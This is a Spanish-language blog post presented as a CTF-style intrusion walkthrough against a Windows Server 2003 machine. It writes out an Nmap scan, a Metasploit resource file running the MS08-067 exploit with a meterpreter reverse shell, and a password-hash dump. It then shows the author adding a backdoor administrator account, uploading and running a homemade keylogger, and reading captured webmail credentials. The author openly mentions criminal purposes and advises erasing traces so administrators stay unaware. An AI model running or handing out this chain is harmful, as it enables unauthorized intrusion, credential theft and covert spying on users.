PENTESTING AL ESTILO CTF

Posted on 08/12/2011

0



Existen muchas técnicas para entrar a un servidor remoto tales como las que se usan en los concursos de CTF(Capture the Flag) donde los participantes luchan para penetrar todos los objetivos y acumular puntos en menos tiempo. Se necesita habilidad, creatividad, trabajo en equipo, conexión 3G, herramientas básicas para PenTesting, así como paciencia y aveces suerte. En el mundo real esto también se aplica y el premio mayormente es información para beneficios políticos, militares, etc. En estos casos la Intrusión a equipos remotos suele durar semanas y es todo un Proyecto que se monta hacia un objetivo.

Ahora les mostrare el proceso mas simple y fácil y rápido por supuesto, para introducirse a equipos remotos al puro estilo de CTF.

Primero scaneo los puertos del Equipo a penetrar, para esto uso Nmap.

sudo nmap -T 4 -sV -P0 -n 192.168.2.104

Y el resultado es:

Starting Nmap 5.21 ( http://nmap.org ) at 2011-12-08 11:06 PET
Nmap scan report for 192.168.2.104
Host is up (0.00071s latency).
Not shown: 972 closed ports
PORT STATE SERVICE VERSION
7/tcp open echo
9/tcp open discard?
13/tcp open daytime Microsoft Windows USA daytime
17/tcp open qotd Windows qotd
19/tcp open chargen
21/tcp open ftp Microsoft ftpd
25/tcp open smtp Microsoft ESMTP 6.0.3790.3959
42/tcp open wins Microsoft Windows Wins
53/tcp open domain Microsoft DNS
80/tcp open http Microsoft IIS webserver 6.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
515/tcp open printer
548/tcp open afp?
554/tcp open rtsp Microsoft Windows Media Server 9.1.1.3841
1027/tcp open msrpc Microsoft Windows RPC
1030/tcp open msrpc Microsoft Windows RPC
1031/tcp open msrpc Microsoft Windows RPC
1033/tcp open msrpc Microsoft Windows RPC
1035/tcp open msrpc Microsoft Windows RPC
1036/tcp open msrpc Microsoft Windows RPC
1038/tcp open msrpc Microsoft Windows RPC
1039/tcp open msrpc Microsoft Windows RPC
1040/tcp open msrpc Microsoft Windows RPC
1755/tcp open wms?
3389/tcp open microsoft-rdp Microsoft Terminal Service
8099/tcp open http Microsoft IIS webserver 6.0
MAC Address: 08:00:27:FD:F0:8B (Cadmus Computer Systems)
Service Info: Host: server; OS: Windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.70 seconds

A simple vista identifico que es un Windows Server 2003, que tiene puertos vulnerables y que en Internet ya existe sus exploits correspondientes.

Me voy a centrar en uno y luego voy probando los demás hasta que logre explotarlos.

El puerto 445 SMB, que se utiliza para compartir directorios, impresoras, tiene vulnerabilidades mas comunes y faciles de encontrar su Exploit para estas. Con la ayuda de Metasploit probare si se puede explotar dicha vulnerabilidad en el Equipo Remoto a Penetrar.

Creo un archivo para ejecutarlo con Metasploit, en estos casos ya se tiene creado el archivo y solo se cambia algunos parámetros, esto es para ganar tiempo.(El archivo lo nombre smb.rc)

use windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.101
set LPORT 4444
set RPORT 445
set SMBPIPE BROWSER
set RHOST 192.168.2.104
set EXITFUNC process
exploit

Luego lo ejecuto con Metasploit

sudo ./msfconsole -r smb.rc

Y el resultado es bueno, Metasploit me dice que se logro explotar dicha vulnerabilidad y ahora según el PAYLOAD que configure, me devuelve una sesión abierta de meterpreter, esto me indica que ya puedo penetrar dicho Objetivo.

Meterpreter session 1 opened (192.168.2.101:4444 -> 192.168.2.104:1053) at Thu Dec 08 11:35:59 -0500 2011

Tengo abierta una consola de meterpreter, ahora dígito “shell” para poder entrar al Equipo Remoto mediante consola.

meterpreter > shell
Process 964 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration
Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.2.104
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.2.1

C:\WINDOWS\system32>

Meterpreter tiene muchas opciones entre una de ellas esta “shell”, ahora me interesa saber la contraseña del usuario Administrador para poder ingresar mediante escritorio Remoto ya que el puerto de RDP esta abierto o para tener mas privilegios, etc.

Ejecuto hashdump

meterpreter > hashdump
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
ASPNET:1008:5763c8e442d6208d62502fa4456ff1a6:e4439d51a37adba32abf327b70eeb51f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_SERVER:1003:ef15bf816cc829c321011ccaa499eb91:f180e65faeb285b50585615690b5a542:::
IWAM_SERVER:1004:9f9b0a15e7771264406518af8dca16ef:ea6cce96b1faf4c07edcb8cb7e3b215b:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:bec9463a2b04f5f682b1a3410e359a5b:::
WMUS_SERVER:1006:658a43db8ab79b72b6bcca80843c5a7a:862dd25cdd18f16ffae4d24d6f186955:::

Obtengo los hashes y para esto existen varias paginas donde se puede obtener la clave desencriptada, o también con la herramienta Cain y Abel.

Otra vez ejecuto shell y voy a crear un usuario Administrador.

meterpreter > shell
Process 2632 created.
Channel 2 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>net user fal 123456 /add
net user fal 123456 /add
The command completed successfully.
C:\WINDOWS\system32>net localgroup Administrators fal /add
net localgroup Administrators fal /add
The command completed successfully.
C:\WINDOWS\system32>

Ahora abro un Terminal Server usando rdesktop.

rdesktop 192.168.2.104

Ahora, en caso de la necesidad que se tenga que tan lejos quieres llegar con este Equipo, ya sea por el concurso CTF o por simple curiosidad o también otros fines delictivos, entonces vamos a instalar un troyano, un spyboot, etc.

En este caso yo he creado un keylogger muy simple hecho en VB6 para que corra perfectamente en ambientes Windows, lo que hare sera subir mi keylogger al Equipo Penetrado.

meterpreter > upload /home/f41/keylogger/keylogger.exe C:\\
[*] uploading : /home/f41/keylogger/keylogger.exe -> C:\
[*] uploaded : /home/f41/keylogger/keylogger.exe -> C:\\keylogger.exe
meterpreter > shell
Process 3736 created.
Channel 5 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>cd ..
cd ..

C:\WINDOWS>cd ..
cd ..

C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is 70A3-1C75

Directory of C:\

12/08/2011 10:18 AM 0 AUTOEXEC.BAT
12/08/2011 10:31 AM <DIR> CAConfig
12/08/2011 10:18 AM 0 CONFIG.SYS
12/08/2011 12:00 PM <DIR> Documents and Settings
12/08/2011 10:50 AM <DIR> Inetpub
12/08/2011 12:09 PM 24,576 keylogger.exe
12/08/2011 10:54 AM <DIR> Microsoft UAM Volume
12/08/2011 11:00 AM <DIR> pase
12/08/2011 10:33 AM <DIR> Program Files
12/08/2011 10:56 AM <DIR> WINDOWS
12/08/2011 10:29 AM <DIR> wmpub
3 File(s) 24,576 bytes
8 Dir(s) 8,010,616,832 bytes free

C:\>

Ahora solo basta con activar el keylooger.

C:\>keylogger.exe
keylogger.exe

C:\>tasklist
tasklist

Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
System Idle Process 0 Console 0 16 K
System 4 Console 0 236 K
smss.exe 296 Console 0 452 K
csrss.exe 344 Console 0 3,804 K
winlogon.exe 368 Console 0 3,932 K
services.exe 416 Console 0 3,172 K
lsass.exe 428 Console 0 7,740 K
VBoxService.exe 616 Console 0 2,808 K
svchost.exe 656 Console 0 2,520 K
svchost.exe 712 Console 0 3,156 K
svchost.exe 776 Console 0 3,836 K
svchost.exe 800 Console 0 2,932 K
svchost.exe 836 Console 0 23,920 K
spoolsv.exe 984 Console 0 5,120 K
msdtc.exe 1040 Console 0 3,864 K
appmgr.exe 1112 Console 0 3,736 K
certsrv.exe 1148 Console 0 8,024 K
cisvc.exe 1200 Console 0 444 K
dns.exe 1224 Console 0 4,388 K
elementmgr.exe 1264 Console 0 2,488 K
svchost.exe 1288 Console 0 1,912 K
inetinfo.exe 1368 Console 0 13,184 K
tcpsvcs.exe 1452 Console 0 8,244 K
sfmsvc.exe 1464 Console 0 1,604 K
sfmprint.exe 1476 Console 0 1,812 K
sqlservr.exe 1548 Console 0 9,656 K
svchost.exe 1772 Console 0 1,212 K
snmp.exe 1796 Console 0 4,876 K
srvcsurg.exe 1840 Console 0 3,488 K
lserver.exe 1912 Console 0 7,456 K
wins.exe 2012 Console 0 5,752 K
WMServer.exe 2108 Console 0 11,764 K
svchost.exe 2216 Console 0 5,644 K
RsServ.exe 2392 Console 0 8,364 K
rsmsink.exe 2808 Console 0 2,332 K
svchost.exe 2900 Console 0 4,576 K
wmiprvse.exe 3020 Console 0 6,376 K
explorer.exe 3520 Console 0 14,856 K
VBoxTray.exe 3600 Console 0 2,432 K
sqlmangr.exe 3644 Console 0 4,428 K
cidaemon.exe 764 Console 0 1,104 K
cidaemon.exe 556 Console 0 2,108 K
cmd.exe 2632 Console 0 1,436 K
csrss.exe 960 2 2,988 K
winlogon.exe 3824 2 1,344 K
rdpclip.exe 920 2 548 K
ctfmon.exe 3624 2 508 K
explorer.exe 4092 2 3,340 K
VBoxTray.exe 2700 2 560 K
sqlmangr.exe 2860 2 964 K
wmiprvse.exe 1868 Console 0 4,996 K
cmd.exe 500 2 56 K
ftp.exe 3332 Console 0 1,800 K
cmd.exe 3736 Console 0 1,536 K
keylogger.exe 4052 Console 0 2,456 K
tasklist.exe 900 Console 0 3,548 K

C:\>

En este caso el usuario y/o los usuarios que estén usando el Equipo no se dan cuenta que yo estoy haciendo maldades, ya que todo lo hago en modo background.

Ahora otra vez me conecto mediante shell, el keylogger que escribí lo que hace es capturar todas las entradas del teclado y guardarlo en un archivo llamado MSError.txt ubicado en la carpeta Windows, solo para esta prueba es asi de simple, para un caso verdadero el keylogger se perfecciona de varias maneras, tales como explico aqui sobre un proyecto que estaba realizando y se quedo en stand by: http://www.youtube.com/watch?v=APMca3GwQvk

meterpreter > shell
Process 4084 created.
Channel 8 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>type C:\WINDOWS\MSError.txt
type C:\WINDOWS\MSError.txt
{STRG LEFT}
{ALT}
{DEL}
w
w
w
.
h
o
t
m
a
i
l
.
c
o
m
{ENTER}
v
i
c
t
i
m
a
{SHIFT DER.}

h
o
t
m
a
i
l
.
c
o
m
{TAB}
m
y
p
a
s
s
w
o
r
d

C:\WINDOWS\system32>

Y se pueden hacer muchas cosas mas, de las que no se imaginan pero ya me canse y me dio hambre así que lo dejo para otro día. Y no se olviden de borrar sus cambios para que los Administradores de los Equipos o Red no se percaten de la intrusión.

Anuncios
Posted in: hacking